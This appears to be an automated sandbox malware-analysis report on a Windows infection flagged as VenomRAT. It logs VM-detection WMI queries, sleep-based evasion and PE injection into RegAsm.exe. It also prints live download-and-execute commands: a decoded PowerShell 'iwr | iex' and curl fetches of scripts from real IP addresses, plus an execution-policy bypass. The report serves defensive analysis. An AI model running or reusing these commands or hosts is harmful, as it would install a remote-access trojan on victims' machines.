Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected VenomRAT

Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2ED0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 3120000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2F40000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3774
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6035
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4873
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4791
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 9649

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\40kpnqa1.dll

Jump to dropped file

Source: C:\Windows\System32\svchost.exe TID: 6816	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4416	Thread sleep count: 3774 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4416	Thread sleep count: 6035 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6952	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5388	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6588	Thread sleep count: 149 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1696	Thread sleep count: 141 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7032	Thread sleep count: 4873 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6588	Thread sleep count: 4791 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7984	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7460	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2712	Thread sleep time: -17524406870024063s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4896	Thread sleep count: 201 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4896	Thread sleep count: 9649 > 30

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"

Encrypted powershell cmdline option found

Source: unknown

Process created: Base64 decoded iwr -useb http://185.149.146.164/trwsfg.ps1 | iex

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 700000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 702000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: EEE008

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Modules.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40kpnqa1.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3634.tmp" "c:\Users\user\AppData\Local\Temp\CSC689F54C53B214364B77AA6CD35DA52CB.TMP"

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
